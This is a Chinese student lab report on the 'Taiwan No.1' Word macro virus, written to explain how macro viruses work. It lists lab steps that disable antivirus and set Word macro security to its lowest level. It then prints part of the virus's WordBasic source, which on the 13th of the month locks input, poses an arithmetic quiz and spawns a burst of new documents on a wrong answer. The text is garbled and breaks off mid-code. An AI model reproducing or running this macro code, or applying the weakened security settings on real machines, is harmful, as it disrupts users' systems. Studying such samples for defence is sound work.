计算机病毒原理-台湾1号病毒实验报告.docVIP

计 算 机 病 毒 实验报告 姓 名： 学 号: 老 师： 日 期：  一. 实验目的 台湾1号病毒是一种破坏力较大的宏病毒！Word宏是指能组织到一起为独立命令使用的一系列Word指令，它能使日常工作变得容易。本实验演示了宏的编写，通过台湾1号病毒示例，说明宏的原理及其安全漏洞和缺陷，理解宏病毒的作用机制，从而加强对宏病毒的认识，提高防范意识。 二. 实验内容 1. macro virus中的内容 2.计算机病毒篇 ----计算机宏病毒 三. 实验环境 1. macro virus 硬件设备：局域网，终端PC机。 系统软件：Windows系列操作系统 支撑软件：Word 2003 软件设置：关闭杀毒软；打开Word 2003，在工具(宏(安全性中，将安全级别设置为低，在可靠发行商选项卡中，选择信任任何所有安装的加载项和模板，选择信任visual basic项目的访问. 实验环境配置如下图所示： 2.计算机宏病毒 硬件设备：部署 WIN2003 系统的PC 机一台 软件工具：Office word2007 实验步骤及截图 台湾1号病毒代码 Taiwan No.1 病毒原始码 ? Dim Shared nm(4) ? Sub MAIN ? DisableInput 1 ? If Day(Now()) = 13 Then ? try: ??? On Error Goto 0 ??? On Error Goto try ??? test = - 1 ??? con = 1 ??? tog$ = ??? i = 0??? While test = - 1 ????? For i = 0 To 4 ??????? nm(i) = Int(Rnd() * 10000)????????????????????????????? ??????? con = (con * nm(i)) ??????? If i = 4 Then ????????? tog$ = tog$ + Str$(nm(4)) + =? ????????? Goto beg ????? End If ??????? tog$ = tog$ + Str$(nm(i)) + * ????? Next i ????? rem 随机选出四个千位数, 以便等一下的游戏 ? beg:??????????? ? ????? Beep ????? rem 电脑发出 哔 一声 ? ????? ans$ = InputBox$(今天是 + Date$() + ,跟你玩一个心算游戏 ????? + Chr$(13) + / ????? 若你答错,只好接受震撼教育.............. + Chr$(13) + / ????? tog$, 台湾 NO.1 Macro Virus) ????? rem 开个对话盒, 以便输入解答用 ? ????? If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then ??????? MsgBox 恭贺你答对了,按确定就告诉你想知道的...., / ??????? 台湾 NO.1 Macro Virus ??????? FileNewDefault ??????? CenterPara ??????? FormatFont .Font = 细明体, .Points = 16, .Bold = 1, .Underline = 1 ??????? Beep ??????? Insert 何谓巨集病毒？ ??????? InsertPara ??????? Beep ??????? Insert 答案: ??????? Italic 1 ??????? Insert 我就是..... ??????? InsertPara ??????? InsertPara ??????? Italic 0 ??????? FormatFont .Font = 细明体, .Points = 16, .Bold = 1, .Underline = 1 ??????? Beep ??????? Insert 如何预防巨集病毒？ ??????? InsertPara ??????? Beep ??????? Insert 答案: ??????? Italic 1 ??????? Insert 不要看我..... ??????? Goto exit ????? Else ??????? For j = 1 To 20 ????????? Beep ????????? FileNewDefault ??????? Next j? ??????? CenterPara ??????? FormatFont .Font = 细明体,